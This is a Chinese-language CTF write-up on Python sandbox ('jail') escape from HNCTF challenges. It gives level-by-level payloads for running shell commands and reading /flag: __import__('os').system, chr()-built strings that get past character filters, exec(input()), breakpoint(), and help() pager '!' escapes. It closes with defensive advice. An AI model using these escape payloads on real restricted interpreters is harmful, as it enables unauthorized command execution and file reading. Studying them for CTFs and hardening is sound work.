HNCTF Jail---沙盒逃逸
字数 1542 2025-08-29 08:30:06
Python沙盒逃逸技术详解
1. Python沙盒逃逸基础概念
Python沙盒逃逸是指在一个受限的Python执行环境中,通过各种技术手段突破限制,执行原本被禁止的操作(如读取文件、执行系统命令等)的技术。
沙盒逃逸的常见目标:
- 绕过字符过滤
- 绕过关键字过滤
- 绕过长度限制
- 利用Python内置函数和模块的特殊功能
- 访问被限制的全局变量
2. Python调试功能与沙盒逃逸
2.1 breakpoint()函数
breakpoint()是Python 3.7引入的内置函数,用于在代码中设置断点,方便开发者进行调试。
基本用法:
breakpoint() # 进入Python调试器
调试模式常用命令:
n(next): 执行下一行代码c(continue): 继续执行,直到下一个断点或程序结束q(quit): 退出调试模式并终止程序p <expression>: 打印表达式的值l(list): 显示当前代码的上下文s(step): 进入函数的内部执行h(help): 查看帮助信息
沙盒逃逸利用:
在调试模式下,可以执行任意Python代码,从而绕过沙盒限制。
2.2 help()函数
help()函数可以用于查看Python对象的帮助文档,但在某些情况下可以用于沙盒逃逸。
关键点:
- 进入
help()后,会启用分页模式(--More--) - 在分页模式下可以执行Shell命令(使用
!前缀)
利用方式:
help() # 进入帮助模式
!ls / # 在分页模式下执行系统命令
3. 沙盒逃逸实战案例
3.1 初级挑战:无过滤环境
目标:直接执行系统命令获取flag
Payload:
__import__('os').system('cat /flag')
3.2 初级挑战Level1:字符过滤绕过
限制:过滤了单引号'、双引号"、字母i和b
绕过技术:
- 使用
chr()函数构造字符串 - 使用字符串拼接
Payload:
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
3.3 初级挑战Level2:长度限制
限制:代码长度受限
解决方案:
- 使用
input()函数获取外部输入 - 使用
exec()或eval()执行动态代码
Payload:
exec(input())
# 然后输入实际的payload,如:__import__('os').system('cat /flag')
3.4 初级挑战Level2.5:禁用input()
限制:禁用input()函数
解决方案:
- 使用
breakpoint()进入调试模式 - 在调试模式下执行命令
Payload:
breakpoint()
# 在调试器中输入:__import__('os').system('cat /flag')
3.5 初级挑战Level3:更严格的长度限制
限制:比Level2更严格的长度限制
解决方案:
- 使用
help()函数进入帮助模式 - 在分页模式下执行系统命令
Payload:
help()
# 在分页模式下输入:!cat /flag
3.6 Lake挑战:读取全局变量
环境特点:
- 只能选择两种模式
- 第一种模式代码长度不超过9个字符
- 第二种模式无限制但需要获取key
Payload:
globals() # 查看全局变量
3.7 l@ke挑战:6字符限制
限制:输入限制为6个字符
Payload:
help() # 进入帮助模式
__main__ # 查看当前模块信息
4. 高级技巧与参考
4.1 字符串构造技巧
当关键字符被过滤时,可以使用以下方法构造字符串:
chr()函数- 字符串拼接
- 字节转换
- 格式化字符串
4.2 模块导入技巧
当import关键字被过滤时:
__import__('os') # 替代import os
4.3 参考资源
- Python沙盒逃逸技术详解
- Python官方文档关于
breakpoint()和help()的部分 - SECCON CTF 2021决赛相关题目
5. 防御措施
为了防止沙盒逃逸,可以考虑:
- 禁用危险的内置函数(如
breakpoint,help,eval,exec) - 限制可访问的模块
- 使用安全的沙盒环境(如PyPy沙盒)
- 实施严格的输入过滤
- 限制代码长度和执行时间
通过理解这些技术,CTF选手可以更好地应对Python沙盒逃逸挑战,而开发者则可以更好地保护自己的Python应用免受此类攻击。